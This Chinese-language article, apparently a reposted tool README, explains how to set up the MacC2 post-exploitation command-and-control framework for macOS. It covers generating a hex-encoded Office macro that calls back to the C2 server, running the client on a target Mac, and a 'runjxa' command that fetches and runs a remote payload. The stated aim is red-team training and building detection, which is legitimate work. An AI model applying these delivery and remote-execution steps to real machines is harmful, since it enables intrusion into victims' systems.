您好,登錄后才能下訂單哦!
小編給大家分享一下如何使用MacC2對macOS進行后滲透漏洞利用,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!
MacC2是一款基于Python開發的macOS后滲透漏洞利用工具,該工具使用的是Objective-C調用或Python代碼庫,而并非命令行執行。MacC2的客戶端基于Python2開發,雖然Python2現在已經算是被棄用了,但它仍然可以隨Big Sur安裝一起提供。在將來,蘋果很可能會從macOS的基礎安裝組件中移除Python2(或者直接刪除預置的Python環境支持),但直到2020年11月,這種情況還沒出現。
該工具的主要目的是為了幫助安全研究團隊進行滲透測試技術演練,并在macOS上構建針對Python后滲透漏洞利用框架的檢測機制。蘋果計劃會將腳本運行時環境從macOS的基礎安裝中移除,具體何時刪除我們還不得而知,不過現在的Big Sur安裝還是包括了Python的。
當前版本的MacC2已在Catalina和Big Sur上進行了測試。在Big-Sur上,惟一沒有按預期工作的函數是systeminfo命令.
您可以在本地設置服務器,也可以使用我在這個項目代碼庫中提供的Docker設置。
如果你還沒有安裝Docker的話,請使用下列命令安裝和配置Docker:
chmod +x install_docker_linux.sh sudo ./install_docker_linux.sh
接下來,運行下列命令。下列命令將會創建一個不受信任的SSL證書以及密鑰,并為服務器和端口生成一個宏文件(macro.txt),然后構建macc2-docker。構建完成后,將會在macc2-docker中以交互模式運行MacC2服務器。
此時,工具將要求我們輸出MacC2服務器的IP/主機名:
然后輸入MacC2服務器需要監聽的端口號:
工具將生成一個十六進制編碼的Payload,存儲在一個名為macro.txt的本地文件中,它能夠連接至你的MacC2服務器,主機名、IP和端口均對應用戶的設置:
Docker將會安裝aiohttp Python3依賴,構建macc2-docker,然后在容器中運行MacC2服務器。完成之后,MacC2服務器將會監聽用戶所指定的端口:
現在,我們就可以使用下列命令驗證MacC2服務器的運行狀態了:
docker ps
除此之外,安裝腳本還會在容器和主機之間配置一個共享掛載。在主機上,我們可以瀏覽/var/lib/docker/volumes/macc2/_data來訪問MacC2_client.py和macro.txt。
我們還可以將MacC2_client.py文件拷貝到客戶端,執行之后將提供回調,或者直接將macro.txt宏文件導入至一個Office文檔,啟用宏功能之后,將在客戶端打開回調。
如果你不想使用Docker,你還可以在本地搭建和配置服務器:
廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
git clone https://github.com/cedowens/MacC2.git
由于MacC2服務器使用了aiohttp庫來進行網絡通信,因此我們要先安裝aiohttp:
pip install aiohttp python3 -m pip install --upgrade --force pip
接下來,在C2服務器上,配置SSL(密鑰大小至少為2048):
openssl req -new -newkey rsa:2048 -nodes -out ca.csr -keyout ca.key openssl x509 -trustout -signkey ca.key -days 365 -req -in ca.csr -out ca.pem
請注意,ca.pem和ca.key的文件名不要修改。
然后,使用macro_generator.py來創建MacC2腳本,然后指定服務器的IP/域名以及端口號。macro_generator.py還會構建一個十六進制編碼的宏文件(macro.txt)來運行MacC2.我們可以將文件中的內容拷貝到一個MS Office文檔中。
python3 macro_generatory.py -s [C2 Server IP/domain] -p [C2 Server Port]
使用MacC2_server.py腳本監聽連接:
在客戶端(目標為macOS主機),使用下列命令運行MacC2_client.py腳本:
python MacC2_client.py
此時在服務器端,你將看到傳入的連接:
收到連接之后,我們可以在服務器端使用“help”命令來獲取內置可用的命令列表,然后輸入目標命令來查看詳細信息:
你還可以生成一個Mythic C2 JXA .js Payload,然后將其托管至一臺遠程服務器中。接下來,使用runjxa命令來向MacC2提供托管文件的URL,并執行Mythic .JXA Payload:
>>> runjxa <url_to_JXA_.js_payload>
看完了這篇文章,相信你對“如何使用MacC2對macOS進行后滲透漏洞利用”有了一定的了解,如果想了解更多相關知識,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。